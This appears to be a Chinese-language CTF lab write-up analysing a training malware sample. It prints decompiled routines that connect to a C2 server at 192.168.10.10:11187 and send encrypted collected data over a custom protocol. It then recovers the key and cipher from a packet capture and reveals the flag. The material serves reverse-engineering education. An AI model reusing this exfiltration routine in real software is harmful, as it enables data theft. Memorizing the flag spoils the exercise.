---
# System prepended metadata

title: Simple Reverse - 0x23(2023 Lab - WinMalware - Exfiltrate)
tags: [Reverse, eductf, CTF]

---

# Simple Reverse - 0x23(2023 Lab - WinMalware - Exfiltrate)
## Description
> 請根據 next stage payload 的行為，分析 capture.pcapng 中的封包，找出並解密被滲出/傳送到 C2 server 的資料。
## Background
* [WSAStartup](https://learn.microsoft.com/zh-tw/windows/win32/api/winsock/nf-winsock-wsastartup)
* [htons](https://learn.microsoft.com/zh-tw/windows/win32/api/winsock/nf-winsock-htons)
* [socket](https://learn.microsoft.com/zh-tw/windows/win32/api/winsock2/nf-winsock2-socket)
* [sockaddr](https://learn.microsoft.com/zh-tw/windows/win32/winsock/sockaddr-2)
* [WSAConnect](https://learn.microsoft.com/zh-tw/windows/win32/api/winsock2/nf-winsock2-wsaconnect)
## Source Code
* exfiltrate
    :::spoiler source
    ```cpp
    void __fastcall exfiltrate(PUCHAR pbInput)
    {
      __int64 s[2]; // [rsp+28h] [rbp-10h] BYREF

      connect_to_c2(s);
      send_collected_data_to_c2(s[0], pbInput);
      shutdown(s[0], 1);
      closesocket(s[0]);
    }
    ```
    :::
* connect_to_c2
    :::spoiler source
    ```cpp
    void __fastcall connect_to_c2(unsigned __int64 *a1)
    {
      unsigned __int64 v2; // rax
      struct sockaddr name; // [rsp+20h] [rbp-1B8h] BYREF
      struct WSAData WSAData; // [rsp+30h] [rbp-1A8h] BYREF

      if ( !WSAStartup(0x202u, &WSAData) )
      {
        *&name.sa_data[2] = 168470720;
        *name.sa_data = htons(0x2BB3u);
        name.sa_family = 2;
        v2 = socket(2, 1, 6);
        *a1 = v2;
        connect(v2, &name, 16);
      }
    }
    ```
    :::
* send_collected_data_to_c2
    :::spoiler source
    ```cpp
    void __fastcall send_collected_data_to_c2(SOCKET s, PUCHAR pbInput)
    {
      char *v4; // rbx
      int v5; // esi
      int i; // eax
      char v7; // al
      int j; // ecx
      int v9; // eax

      v4 = malloc(0x4Cui64);
      *v4 = 0x11877811;
      *(v4 + 1) = 4;
      *(v4 + 2) = 0;
      if ( send(s, v4, 76, 0) > 0xB )
      {
        v5 = 0;
        while ( v5 <= 2 )
        {
          if ( recv(s, v4, 76, 0) > 0xB && *v4 == 0x11877811 )
          {
            v9 = *(v4 + 2);
            if ( v9 )
            {
              switch ( v9 )
              {
                case 1:
                  *v4 = 0x11877811;
                  *(v4 + 1) = 4;
                  *(v4 + 2) = 1;
                  encrypt_key = (v4 + 12);
                  encrypt_data(pbInput);
                  for ( i = 2; i <= 23; ++i )
                    v4[i + 12] += v4[i + 11] - v4[i + 10];
                  break;
                case 2:
                  *v4 = 0x11877811;
                  *(v4 + 1) = 28;
                  *(v4 + 2) = 2;
                  memcpy_s(v4 + 12, 0x18ui64, cipher, 0x18ui64);
                  break;
                case 3:
                  goto LABEL_20;
              }
            }
            else
            {
              *v4 = 0x11877811;
              *(v4 + 1) = 4;
              *(v4 + 2) = 0;
            }
            for ( j = 0; j <= 39; ++j )
            {
              v7 = v4[j + 36] + v4[43] + v4[49] - v4[67];
              v4[j + 36] = v7;
              v4[j + 36] = v4[54] - (v4[61] + v4[69]) + v7;
            }
            send(s, v4, 76, 0);
            ++v5;
          }
        }
    LABEL_20:
        free(v4);
      }
    }
    ```
    :::
## Recon
1. `connet_to_c2`
    目標是取得c2 server的IP和port number
    1. 先看到#12的socket function，他代表的意思是利用IPv4並且TCP的protocol進行溝通，相關的數值說明都在[MSDN](https://learn.microsoft.com/zh-tw/windows/win32/api/winsock2/nf-winsock2-socket)，可以用前面教到的用m指令改變已知的constant名稱$\to$`v2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);`
    2. 接著看到connect function中的`&name`，IDA原本解析成sockaddr，sockaddr是一種通用的結構格式，所以IDA解析出來的東西也沒有問題，不過如果是IPv4又是乙太網路的傳輸，會比較建議把結構改成==sockaddr_in==，[這一篇](https://blog.csdn.net/tao546377318/article/details/72780685)探討了兩者的區別(其實就只是把sockaddr原本的結構擴展而已)，這樣的話整體分析會更好
        :::spoiler 解析後
        ```cpp
        void __fastcall connect_to_c2(unsigned __int64 *a1)
        {
          unsigned __int64 v2; // rax
          struct sockaddr_in name; // [rsp+20h] [rbp-1B8h] BYREF
          struct WSAData WSAData; // [rsp+30h] [rbp-1A8h] BYREF

          if ( !WSAStartup(0x202u, &WSAData) )
          {
            name.sin_addr.S_un.S_addr = 0xA0AA8C0;      // IP: 192.168.10.10
            name.sin_port = htons(11187u);              // Port No.: 11187
            name.sin_family = AF_INET;
            v2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            *a1 = v2;
            connect(v2, &name, 16);
          }
        }
        ```
        :::
    :::info
    IP: 0xA0AA8C0 $\to$ `192.168.10.10`(little endian轉十進位)
    Port: `11187`
    sin.family: IPv4
    Protocol: TCP
    :::
2. `send_collected_data_to_c2`
    1. 先切分程式碼的功能
        ![](https://hackmd.io/_uploads/rkci81Aza.png)
        有時候通靈不一定很準，所以要適時的回頭檢查自己的猜測
    2. 前四行初始化的階段(malloc 0x4c然後塞三個dword)，應該是作者自定義的結構，可以利用Structures，自定義一個新的結構，大小就是0x4C，然後前三個可以定義為dd，並且把v4的結構改成packet(按Y)
        ![](https://hackmd.io/_uploads/ByQtqk0Mp.png)
    3. 各種rename
        * field_0看起來像是一個magic bytes，因為一開始附值之後，傳送過去server，再接收回來的packet也是有做驗證的動作，所以看起來是一個verification magic
        * field_8看起來就是接收來自server下達的command
        * field_C就比較多元，在case 1的時候是當作承接server給的encryption key(大小是8個bytes)，但在case 2是當作加密的cipher(大小是0x18個bytes)，所以我取名`enc_key_or_data`，另外大小是0x18(可以從memcpy的大小看出來)，所以可以按Y改變型別成`char[0x18]`
    :::info
    目前整體的流程
    ![](https://hackmd.io/_uploads/HJJB7gCf6.png)
    ![](https://hackmd.io/_uploads/BkHSXeCM6.png)
    :::
    
    ---
    4. 分析pcap
        這一部就直接對照著講義上截圖或是剛剛分析的封包格式就可以知道哪一個是key哪一個是cipher
        Key: `f0 c7 d3 0e 7f 2c 15 ba`
        Cipher: `43 60 5b 5f 4e ba 9f 9e e3 78 6f 55 cb 81 24 fa e7 bf 0d 1b 3c 24 b7 4e`
        接下來就可以直接用cipherchef的線上功能decrypt其中的內容

:::success
![](https://hackmd.io/_uploads/HJdetgRGp.png)

Flag: `FLAG{C2_cU540m_Pr0t0C01}`
:::